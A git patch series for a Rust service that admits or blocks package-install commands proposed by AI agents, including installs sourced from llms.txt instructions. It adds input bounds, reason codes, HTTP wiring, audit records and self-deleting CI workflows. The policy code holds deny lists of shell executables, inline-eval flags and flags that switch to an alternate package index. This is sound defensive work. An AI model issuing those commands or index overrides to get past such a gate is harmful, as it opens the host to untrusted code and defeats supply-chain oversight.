AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, - build_audit_record, + build_audit_record, build_malformed_audit_record, }; pub use config::{ AdmissionServiceConfig, CliArgs, ConfigError, CredentialFile, load_admin_token, load_config, parse_cli_args, validate_service_config, }; +pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, }; -pub use policy::{admission_decision, is_sha256_hex, sha256_hex}; +pub use policy::{ + admission_decision, is_sha256_hex, sha256_hex, validate_install_intent, +}; diff --git a/crates/agent-artifact-admission/src/main.rs b/crates/agent-artifact-admission/src/main.rs new file mode 100644 index 00000000..c119aa50 --- /dev/null +++ b/crates/agent-artifact-admission/src/main.rs @@ -0,0 +1,15 @@ +use std::process::ExitCode; + +use wardnet_agent_artifact_admission::run_cli; + +#[tokio::main] +async fn main() -> ExitCode { + let arguments: Vec = std::env::args().skip(1).collect(); + match run_cli(&arguments).await { + Ok(()) => ExitCode::SUCCESS, + Err(error) => { + eprintln!("{error}"); + ExitCode::FAILURE + } + } +} diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs index 39d420f8..6e553ff7 100644 --- a/crates/agent-artifact-admission/src/model.rs +++ b/crates/agent-artifact-admission/src/model.rs @@ -152,7 +152,8 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), ), }, artifacts: vec![ArtifactCoordinate { @@ -173,7 +174,7 @@ impl InstallIntent { #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[serde(deny_unknown_fields)] pub struct AdmissionDecision { - /// Original caller request identifier. + /// Original caller request identifier or a content-addressed malformed surrogate. pub request_id: String, /// Final policy decision. pub decision: DecisionKind, @@ -185,7 +186,7 @@ pub struct AdmissionDecision { pub policy_revision: String, /// Normalized source URI when present. pub normalized_source_uri: Option, - /// SHA-256 of the structured command vector. + /// SHA-256 of the structured command vector or malformed request body. pub command_sha256: String, /// Number of artifacts the caller asked to install. pub artifact_count: usize, @@ -215,6 +216,18 @@ impl DecisionKind { #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum ReasonCode { + /// The request body could not be parsed as the strict install-intent schema. + MalformedRequest, + /// A bounded identifier, argument vector, source field, or count was invalid. + InvalidRequest, + /// The structured operation was not the supported install operation. + InvalidOperation, + /// The reviewed workspace manifest digest was malformed. + InvalidManifestDigest, + /// One or more artifact coordinates were malformed or unpinned. + InvalidArtifact, + /// Duplicate artifact identities or artifact argument tokens were supplied. + DuplicateArtifact, /// No exact approved artifact matched the requested install. ArtifactNotApproved, /// No reviewed manifest matched the workspace digest. @@ -231,14 +244,24 @@ pub enum ReasonCode { InvalidSourceUri, /// The command path is forbidden even if otherwise allowlisted. ForbiddenCommand, + /// The command attempted to introduce an alternate package trust root. + AlternateTrustRoot, /// The package manager invocation omitted a mandatory hardening flag. MissingSafetyFlag, + /// Durable audit evidence could not be persisted before returning a decision. + AuditUnavailable, } impl ReasonCode { /// Stable string form used by tests and audit sinks. pub fn as_str(self) -> &'static str { match self { + Self::MalformedRequest => "malformed_request", + Self::InvalidRequest => "invalid_request", + Self::InvalidOperation => "invalid_operation", + Self::InvalidManifestDigest => "invalid_manifest_digest", + Self::InvalidArtifact => "invalid_artifact", + Self::DuplicateArtifact => "duplicate_artifact", Self::ArtifactNotApproved => "artifact_not_approved", Self::ManifestNotApproved => "manifest_not_approved", Self::ExecutableNotAllowed => "executable_not_allowed", @@ -247,7 +270,9 @@ impl ReasonCode { Self::MissingSourceDigest => "missing_source_digest", Self::InvalidSourceUri => "invalid_source_uri", Self::ForbiddenCommand => "forbidden_command", + Self::AlternateTrustRoot => "alternate_trust_root", Self::MissingSafetyFlag => "missing_safety_flag", + Self::AuditUnavailable => "audit_unavailable", } } } diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 0bdda9d9..25e58792 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -1,20 +1,38 @@ +use std::collections::BTreeSet; + use crate::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSourceKind, ReasonCode, }; use url::Url; +const MAX_REQUEST_ID_BYTES: usize = 256; +const MAX_ACTOR_ID_BYTES: usize = 512; +const MAX_WORKSPACE_ID_BYTES: usize = 512; +const MAX_OPERATION_BYTES: usize = 32; +const MAX_ARGV_TOKENS: usize = 128; +const MAX_ARG_BYTES: usize = 4 * 1024; +const MAX_ARGV_BYTES: usize = 64 * 1024; +const MAX_SOURCE_URI_BYTES: usize = 4 * 1024; +const MAX_ARTIFACTS: usize = 64; +const MAX_ECOSYSTEM_BYTES: usize = 64; +const MAX_ARTIFACT_NAME_BYTES: usize = 512; +const MAX_VERSION_BYTES: usize = 256; +const MAX_OWNER_BYTES: usize = 512; +const MAX_ARTIFACT_ARGUMENT_BYTES: usize = 1024; + /// Compute a deterministic fail-closed admission decision for one install intent. pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { - let mut reason_codes = Vec::new(); + let mut reason_codes = validate_install_intent(intent); + match intent.argv.first() { Some(executable) if policy .allowed_executables .iter() .any(|allowed| allowed == executable) => {} - Some(_) => reason_codes.push(ReasonCode::ExecutableNotAllowed), - None => reason_codes.push(ReasonCode::MissingExecutable), + Some(_) => push_reason(&mut reason_codes, ReasonCode::ExecutableNotAllowed), + None => push_reason(&mut reason_codes, ReasonCode::MissingExecutable), } validate_source(intent, &mut reason_codes); @@ -42,7 +60,7 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A DecisionKind::Block }; AdmissionDecision { - request_id: intent.request_id.clone(), + request_id: auditable_identifier("request", &intent.request_id, MAX_REQUEST_ID_BYTES), decision, reason_codes, policy_id: policy.policy_id.clone(), @@ -53,13 +71,81 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } } +/// Validate the bounded structural contract independently of policy membership. +pub fn validate_install_intent(intent: &InstallIntent) -> Vec { + let mut reason_codes = Vec::new(); + + if !valid_text_field(&intent.request_id, MAX_REQUEST_ID_BYTES) + || !valid_text_field(&intent.actor_id, MAX_ACTOR_ID_BYTES) + || !valid_text_field(&intent.workspace_id, MAX_WORKSPACE_ID_BYTES) + || !valid_text_field(&intent.operation, MAX_OPERATION_BYTES) + { + push_reason(&mut reason_codes, ReasonCode::InvalidRequest); + } + + if intent.operation != "install" { + push_reason(&mut reason_codes, ReasonCode::InvalidOperation); + } + + if intent.argv.is_empty() { + push_reason(&mut reason_codes, ReasonCode::MissingExecutable); + } else if intent.argv.len() > MAX_ARGV_TOKENS + || intent.argv.iter().any(|argument| { + !valid_text_field(argument, MAX_ARG_BYTES) || argument.contains('\0') + }) + || intent.argv.iter().map(String::len).sum::() > MAX_ARGV_BYTES + { + push_reason(&mut reason_codes, ReasonCode::InvalidRequest); + } + + if !is_sha256_hex(&intent.manifest_sha256) { + push_reason(&mut reason_codes, ReasonCode::InvalidManifestDigest); + } + + if intent + .source + .uri + .as_deref() + .is_some_and(|uri| uri.len() > MAX_SOURCE_URI_BYTES || uri.chars().any(char::is_control)) + { + push_reason(&mut reason_codes, ReasonCode::InvalidSourceUri); + } + + if intent.artifacts.is_empty() || intent.artifacts.len() > MAX_ARTIFACTS { + push_reason(&mut reason_codes, ReasonCode::InvalidArtifact); + } + + let mut artifact_identities = BTreeSet::new(); + let mut artifact_arguments = BTreeSet::new(); + for artifact in &intent.artifacts { + if !valid_artifact_coordinate(artifact) { + push_reason(&mut reason_codes, ReasonCode::InvalidArtifact); + } + let identity = ( + artifact.ecosystem.as_str(), + artifact.name.as_str(), + artifact.version.as_str(), + artifact.registry_url.as_str(), + artifact.owner.as_str(), + artifact.sha256.as_str(), + ); + if !artifact_identities.insert(identity) + || !artifact_arguments.insert(artifact.artifact_argument.as_str()) + { + push_reason(&mut reason_codes, ReasonCode::DuplicateArtifact); + } + } + + reason_codes +} + fn validate_source(intent: &InstallIntent, reason_codes: &mut Vec) { if !requires_remote_source_validation(intent.source.kind) { return; } match intent.source.uri.as_deref() { - Some(uri) if is_valid_remote_source_uri(uri) => {} + Some(uri) if normalize_https_source_uri(uri).is_some() => {} Some(_) => push_reason(reason_codes, ReasonCode::InvalidSourceUri), None => push_reason(reason_codes, ReasonCode::MissingSourceUri), } @@ -68,7 +154,7 @@ fn validate_source(intent: &InstallIntent, reason_codes: &mut Vec) { .source .content_sha256 .as_deref() - .is_some_and(crate::is_sha256_hex) + .is_some_and(is_sha256_hex) { push_reason(reason_codes, ReasonCode::MissingSourceDigest); } @@ -78,24 +164,55 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec) { let Some(executable) = intent.argv.first().map(String::as_str) else { return; }; - let args = &intent.argv[1..]; + let arguments = &intent.argv[1..]; let missing = match executable { - "npm" | "pnpm" | "yarn" | "bun" => !args.iter().any(|arg| arg == "--ignore-scripts"), - "pip" | "pip3" => !args.iter().any(|arg| arg == "--require-hashes"), - "cargo" if args.first().is_some_and(|arg| arg == "install") => { - !args.iter().any(|arg| arg == "--locked") + "npm" | "pnpm" | "yarn" | "bun" => { + !arguments.iter().any(|argument| argument == "--ignore-scripts") } - "uv" if args.first().is_some_and(|arg| arg == "pip") => { - !args.iter().any(|arg| arg == "--require-hashes") + "pip" | "pip3" => !arguments + .iter() + .any(|argument| argument == "--require-hashes"), + "cargo" if arguments.first().is_some_and(|argument| argument == "install") => { + !arguments.iter().any(|argument| argument == "--locked") + } + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments.get(1).is_some_and(|argument| argument == "install") => + { + !arguments + .iter() + .any(|argument| argument == "--require-hashes") + } + "docker" | "podman" + if arguments.first().is_some_and(|argument| argument == "pull") => + { + intent.artifacts.is_empty() + || intent.artifacts.iter().any(|artifact| { + artifact.artifact_argument + != format!("{}@sha256:{}", artifact.name, artifact.sha256) + || intent + .argv + .iter() + .filter(|token| *token == &artifact.artifact_argument) + .count() + != 1 + }) } _ => false, }; @@ -135,26 +252,44 @@ fn requires_remote_source_validation(kind: InstructionSourceKind) -> bool { } fn normalized_source_uri(intent: &InstallIntent) -> Option { - let uri = intent.source.uri.as_deref()?; + intent + .source + .uri + .as_deref() + .and_then(normalize_https_source_uri) +} + +pub(crate) fn normalize_https_source_uri(uri: &str) -> Option { let mut url = Url::parse(uri).ok()?; + if url.scheme() != "https" + || !url.username().is_empty() + || url.password().is_some() + || url.host_str().is_none() + { + return None; + } url.set_query(None); url.set_fragment(None); Some(url.to_string()) } -fn is_valid_remote_source_uri(uri: &str) -> bool { - let Ok(url) = Url::parse(uri) else { - return false; - }; - url.scheme() == "https" - && url.username().is_empty() - && url.password().is_none() - && url.host_str().is_some() +pub(crate) fn canonical_registry_url(registry_url: &str) -> Option { + let url = Url::parse(registry_url).ok()?; + if url.scheme() != "https" + || url.host_str().is_none() + || !url.username().is_empty() + || url.password().is_some() + || url.query().is_some() + || url.fragment().is_some() + { + return None; + } + Some(url.to_string()) } -fn is_forbidden_executable(executable: &str) -> bool { +pub(crate) fn is_permanently_forbidden_executable(executable: &str) -> bool { matches!( - executable, + executable.to_ascii_lowercase().as_str(), "sh" | "bash" | "zsh" | "cmd" @@ -171,13 +306,73 @@ fn is_forbidden_executable(executable: &str) -> bool { ) } -fn requests_inline_eval(executable: &str, args: &[String]) -> bool { +pub(crate) fn supported_executable(executable: &str) -> bool { matches!( executable, + "npm" + | "pnpm" + | "yarn" + | "bun" + | "pip" + | "pip3" + | "uv" + | "cargo" + | "docker" + | "podman" + ) +} + +fn supported_install_command(executable: &str, arguments: &[String]) -> bool { + match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + "pip" | "pip3" | "cargo" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments.get(1).is_some_and(|argument| argument == "install") + } + "docker" | "podman" => arguments + .first() + .is_some_and(|argument| argument == "pull"), + _ => false, + } +} + +fn requests_inline_eval(executable: &str, arguments: &[String]) -> bool { + matches!( + executable.to_ascii_lowercase().as_str(), "python" | "python3" | "node" | "ruby" | "perl" | "php" - ) && args + ) && arguments .iter() - .any(|arg| matches!(arg.as_str(), "-c" | "-e" | "--eval" | "--execute")) + .any(|argument| matches!(argument.as_str(), "-c" | "-e" | "--eval" | "--execute")) +} + +fn requests_alternate_trust_root(arguments: &[String]) -> bool { + const FORBIDDEN_FLAGS: &[&str] = &[ + "--extra-index-url", + "--index-url", + "--trusted-host", + "--find-links", + "--registry", + "--registry-url", + "-i", + "-f", + ]; + arguments.iter().any(|argument| { + FORBIDDEN_FLAGS.iter().any(|flag| { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| suffix.starts_with('=')) + }) + }) } fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { @@ -190,11 +385,50 @@ fn exact_artifact_match(approved: &ApprovedArtifact, artifact: &ArtifactCoordina approved.ecosystem == artifact.ecosystem && approved.name == artifact.name && approved.version == artifact.version - && approved.registry_url == artifact.registry_url + && canonical_registry_url(&approved.registry_url) + == canonical_registry_url(&artifact.registry_url) && approved.owner == artifact.owner && approved.sha256 == artifact.sha256 } +pub(crate) fn valid_artifact_coordinate(artifact: &ArtifactCoordinate) -> bool { + valid_text_field(&artifact.ecosystem, MAX_ECOSYSTEM_BYTES) + && valid_text_field(&artifact.name, MAX_ARTIFACT_NAME_BYTES) + && valid_pinned_version(&artifact.version) + && canonical_registry_url(&artifact.registry_url).is_some() + && valid_text_field(&artifact.owner, MAX_OWNER_BYTES) + && is_sha256_hex(&artifact.sha256) + && valid_text_field(&artifact.artifact_argument, MAX_ARTIFACT_ARGUMENT_BYTES) +} + +pub(crate) fn valid_pinned_version(version: &str) -> bool { + if !valid_text_field(version, MAX_VERSION_BYTES) { + return false; + } + let lowercase = version.to_ascii_lowercase(); + if matches!( + lowercase.as_str(), + "latest" | "main" | "master" | "head" | "stable" | "next" + ) { + return false; + } + version + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'.' | b'-' | b'_' | b'+')) +} + +pub(crate) fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { + !value.is_empty() && value.len() <= maximum_bytes && !value.chars().any(char::is_control) +} + +pub(crate) fn auditable_identifier(label: &str, value: &str, maximum_bytes: usize) -> String { + if valid_text_field(value, maximum_bytes) { + value.to_string() + } else { + format!("{label}:sha256:{}", sha256_hex(value.as_bytes())) + } +} + /// Return `true` when `value` is a lowercase hexadecimal SHA-256 digest. pub fn is_sha256_hex(value: &str) -> bool { value.len() == 64 diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs index 14dba85d..824d0f52 100644 --- a/crates/agent-artifact-admission/tests/audit_contract.rs +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -33,7 +33,7 @@ fn temp_path(label: &str) -> std::path::PathBuf { #[test] fn audit_record_minimizes_untrusted_command_and_source_data() { let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let json = serde_json::to_string(&record).expect("audit record must serialize"); assert!(record.timestamp_unix_ms > 0); @@ -42,6 +42,8 @@ fn audit_record_minimizes_untrusted_command_and_source_data() { assert_eq!(record.workspace_id, intent.workspace_id); assert_eq!(record.operation, "install"); assert_eq!(record.command_sha256, decision.command_sha256); + assert_eq!(record.request_body_sha256, None); + assert_eq!(record.manifest_sha256, Some(intent.manifest_sha256.clone())); assert_eq!( record.normalized_source_uri.as_deref(), Some("https://example.invalid/llms.txt") @@ -63,7 +65,7 @@ fn audit_record_minimizes_untrusted_command_and_source_data() { #[test] fn memory_sink_preserves_complete_records_in_append_order() { let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let sink = MemoryAuditSink::default(); sink.append(&record).expect("first append must succeed"); @@ -77,7 +79,7 @@ fn memory_sink_preserves_complete_records_in_append_order() { fn file_sink_appends_complete_synchronized_ndjson_records() { let path = temp_path("append"); let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let sink = FileAuditSink::new(path.clone()); sink.append(&record).expect("first append must succeed"); @@ -100,7 +102,8 @@ fn file_sink_rejects_oversized_serialized_record_without_writing() { let path = temp_path("oversized"); let (mut intent, decision) = sensitive_blocked_attempt(); intent.actor_id = "x".repeat(70 * 1024); - let record = build_audit_record(&intent, &decision); + let mut record = build_audit_record(&intent, &decision).expect("audit record must build"); + record.policy_id = "x".repeat(70 * 1024); let sink = FileAuditSink::new(path.clone()); assert!(sink.append(&record).is_err()); @@ -113,7 +116,7 @@ fn file_sink_reports_deterministic_storage_failure() { .with_extension("") .join("audit.ndjson"); let (intent, decision) = sensitive_blocked_attempt(); - let record = build_audit_record(&intent, &decision); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); let sink = FileAuditSink::new(path); assert!(sink.append(&record).is_err()); diff --git a/tests/agent_artifact_admission_red.rs b/tests/agent_artifact_admission_red.rs deleted file mode 100644 index c41787c3..00000000 --- a/tests/agent_artifact_admission_red.rs +++ /dev/null @@ -1,23 +0,0 @@ -//! RED contract for issue #128. -//! -//! This test intentionally lands before the new crate. The first PR head must -//! fail because Wardnet has no agent artifact admission boundary yet. The next -//! implementation commit moves this regression into the owning crate. - -use wardnet_agent_artifact_admission::{AdmissionPolicy, InstallIntent, admission_decision}; - -#[test] -fn unowned_package_from_llms_txt_is_blocked() { - let policy = AdmissionPolicy::deny_all_for_test(); - let intent = InstallIntent::unowned_llms_package_for_test(); - - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision.as_str(), "block"); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "artifact_not_approved") - ); -} From 38a37be6f27b3f5a11102eaaeb25cd9cb2f9a6bf Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 12:19:49 +0000 Subject: [PATCH 018/247] chore(lock): refresh admission service dependencies --- .../agent-admission-lock-refresh.yml | 39 ------------------- Cargo.lock | 3 ++ 2 files changed, 3 insertions(+), 39 deletions(-) delete mode 100644 .github/workflows/agent-admission-lock-refresh.yml diff --git a/.github/workflows/agent-admission-lock-refresh.yml b/.github/workflows/agent-admission-lock-refresh.yml deleted file mode 100644 index d33a3c41..00000000 --- a/.github/workflows/agent-admission-lock-refresh.yml +++ /dev/null @@ -1,39 +0,0 @@ -name: Verify and refresh agent admission lockfile - -on: - push: - branches: - - feat/agent-artifact-admission - paths: - - crates/agent-artifact-admission/Cargo.toml - - crates/agent-artifact-admission/src/** - - crates/agent-artifact-admission/tests/** - - .github/workflows/agent-admission-lock-refresh.yml - -permissions: - contents: write - -jobs: - verify-and-refresh: - if: github.actor != 'github-actions[bot]' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 - with: - ref: feat/agent-artifact-admission - fetch-depth: 0 - - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable - with: - toolchain: stable - - name: Verify the focused service and refresh its lockfile edges - run: cargo test -p wardnet-agent-artifact-admission --tests - - name: Remove the completed one-shot workflow - run: rm .github/workflows/agent-admission-lock-refresh.yml - - name: Commit the lockfile and workflow cleanup - run: | - git config user.name "github-actions[bot]" - git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - git add Cargo.lock .github/workflows/agent-admission-lock-refresh.yml - git diff --cached --check - git commit -m "chore(lock): refresh admission service dependencies" - git push origin HEAD:feat/agent-artifact-admission diff --git a/Cargo.lock b/Cargo.lock index 7861539d..6a1cb1ed 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1382,9 +1382,12 @@ dependencies = [ name = "wardnet-agent-artifact-admission" version = "0.1.0" dependencies = [ + "axum", "ring", "serde", "serde_json", + "tokio", + "tower", "url", ] From 34f63057b159c2eb7205270be7bd25dc0b43516d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 29 Aug 2026 05:21:33 -0700 Subject: [PATCH 019/247] chore(ci): format admission service exact head --- .github/workflows/agent-admission-format.yml | 38 ++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 .github/workflows/agent-admission-format.yml diff --git a/.github/workflows/agent-admission-format.yml b/.github/workflows/agent-admission-format.yml new file mode 100644 index 00000000..a4c6443e --- /dev/null +++ b/.github/workflows/agent-admission-format.yml @@ -0,0 +1,38 @@ +name: Format agent admission service + +on: + push: + branches: + - feat/agent-artifact-admission + paths: + - .github/workflows/agent-admission-format.yml + +permissions: + contents: write + +jobs: + format-and-clean: + if: github.actor != 'github-actions[bot]' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + ref: feat/agent-artifact-admission + fetch-depth: 0 + - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable + with: + toolchain: stable + - name: Apply and verify rustfmt + run: | + cargo fmt --all + cargo fmt --all -- --check + - name: Remove the completed one-shot workflow + run: rm .github/workflows/agent-admission-format.yml + - name: Commit formatting and workflow cleanup + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + git add crates/agent-artifact-admission .github/workflows/agent-admission-format.yml + git diff --cached --check + git commit -m "style(rust): format admission service" + git push origin HEAD:feat/agent-artifact-admission From 07be0ab6ecd9f3f50c4474f40bba1d2972c48ba0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 12:22:42 +0000 Subject: [PATCH 020/247] style(rust): format admission service --- .github/workflows/agent-admission-format.yml | 38 -------------- crates/agent-artifact-admission/src/http.rs | 9 ++-- crates/agent-artifact-admission/src/lib.rs | 4 +- crates/agent-artifact-admission/src/model.rs | 3 +- crates/agent-artifact-admission/src/policy.rs | 49 +++++++++---------- .../tests/http_contract.rs | 12 ++++- 6 files changed, 39 insertions(+), 76 deletions(-) delete mode 100644 .github/workflows/agent-admission-format.yml diff --git a/.github/workflows/agent-admission-format.yml b/.github/workflows/agent-admission-format.yml deleted file mode 100644 index a4c6443e..00000000 --- a/.github/workflows/agent-admission-format.yml +++ /dev/null @@ -1,38 +0,0 @@ -name: Format agent admission service - -on: - push: - branches: - - feat/agent-artifact-admission - paths: - - .github/workflows/agent-admission-format.yml - -permissions: - contents: write - -jobs: - format-and-clean: - if: github.actor != 'github-actions[bot]' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 - with: - ref: feat/agent-artifact-admission - fetch-depth: 0 - - uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30 # stable - with: - toolchain: stable - - name: Apply and verify rustfmt - run: | - cargo fmt --all - cargo fmt --all -- --check - - name: Remove the completed one-shot workflow - run: rm .github/workflows/agent-admission-format.yml - - name: Commit formatting and workflow cleanup - run: | - git config user.name "github-actions[bot]" - git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - git add crates/agent-artifact-admission .github/workflows/agent-admission-format.yml - git diff --cached --check - git commit -m "style(rust): format admission service" - git push origin HEAD:feat/agent-artifact-admission diff --git a/crates/agent-artifact-admission/src/http.rs b/crates/agent-artifact-admission/src/http.rs index d6cf185a..5e329cfa 100644 --- a/crates/agent-artifact-admission/src/http.rs +++ b/crates/agent-artifact-admission/src/http.rs @@ -17,9 +17,9 @@ use tokio::net::TcpListener; use crate::{ AdmissionDecision, AdmissionPolicy, AdmissionServiceConfig, AuditRecord, AuditSink, - DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, - build_audit_record, build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, - sha256_hex, validate_install_intent, + DecisionKind, FileAuditSink, InstallIntent, ReasonCode, admission_decision, build_audit_record, + build_malformed_audit_record, load_admin_token, load_config, parse_cli_args, sha256_hex, + validate_install_intent, }; const MAX_ADMIN_TOKEN_BYTES: usize = 4096; @@ -118,7 +118,8 @@ pub async fn run_service( /// Parse strict CLI arguments, load bounded files, and run the standalone service. pub async fn run_cli(args: &[String]) -> Result<(), ServiceError> { let cli = parse_cli_args(args).map_err(|_| ServiceError::Configuration)?; - let config = load_config(Path::new(&cli.config_path)).map_err(|_| ServiceError::Configuration)?; + let config = + load_config(Path::new(&cli.config_path)).map_err(|_| ServiceError::Configuration)?; let token = load_admin_token(Path::new(&cli.credentials_path)) .map_err(|_| ServiceError::Configuration)?; run_service(config, token).await diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 967ca25f..04b82d30 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -19,6 +19,4 @@ pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, }; -pub use policy::{ - admission_decision, is_sha256_hex, sha256_hex, validate_install_intent, -}; +pub use policy::{admission_decision, is_sha256_hex, sha256_hex, validate_install_intent}; diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs index 6e553ff7..28dab836 100644 --- a/crates/agent-artifact-admission/src/model.rs +++ b/crates/agent-artifact-admission/src/model.rs @@ -152,8 +152,7 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" - .to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), ), }, artifacts: vec![ArtifactCoordinate { diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 25e58792..c9d47b3e 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -90,9 +90,10 @@ pub fn validate_install_intent(intent: &InstallIntent) -> Vec { if intent.argv.is_empty() { push_reason(&mut reason_codes, ReasonCode::MissingExecutable); } else if intent.argv.len() > MAX_ARGV_TOKENS - || intent.argv.iter().any(|argument| { - !valid_text_field(argument, MAX_ARG_BYTES) || argument.contains('\0') - }) + || intent + .argv + .iter() + .any(|argument| !valid_text_field(argument, MAX_ARG_BYTES) || argument.contains('\0')) || intent.argv.iter().map(String::len).sum::() > MAX_ARGV_BYTES { push_reason(&mut reason_codes, ReasonCode::InvalidRequest); @@ -182,26 +183,29 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec { - !arguments.iter().any(|argument| argument == "--ignore-scripts") - } + "npm" | "pnpm" | "yarn" | "bun" => !arguments + .iter() + .any(|argument| argument == "--ignore-scripts"), "pip" | "pip3" => !arguments .iter() .any(|argument| argument == "--require-hashes"), - "cargo" if arguments.first().is_some_and(|argument| argument == "install") => { + "cargo" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { !arguments.iter().any(|argument| argument == "--locked") } - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments.get(1).is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { !arguments .iter() .any(|argument| argument == "--require-hashes") } - "docker" | "podman" - if arguments.first().is_some_and(|argument| argument == "pull") => - { + "docker" | "podman" if arguments.first().is_some_and(|argument| argument == "pull") => { intent.artifacts.is_empty() || intent.artifacts.iter().any(|artifact| { artifact.artifact_argument @@ -309,16 +313,7 @@ pub(crate) fn is_permanently_forbidden_executable(executable: &str) -> bool { pub(crate) fn supported_executable(executable: &str) -> bool { matches!( executable, - "npm" - | "pnpm" - | "yarn" - | "bun" - | "pip" - | "pip3" - | "uv" - | "cargo" - | "docker" - | "podman" + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "uv" | "cargo" | "docker" | "podman" ) } @@ -336,11 +331,11 @@ fn supported_install_command(executable: &str, arguments: &[String]) -> bool { .is_some_and(|argument| argument == "install"), "uv" => { arguments.first().is_some_and(|argument| argument == "pip") - && arguments.get(1).is_some_and(|argument| argument == "install") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") } - "docker" | "podman" => arguments - .first() - .is_some_and(|argument| argument == "pull"), + "docker" | "podman" => arguments.first().is_some_and(|argument| argument == "pull"), _ => false, } } diff --git a/crates/agent-artifact-admission/tests/http_contract.rs 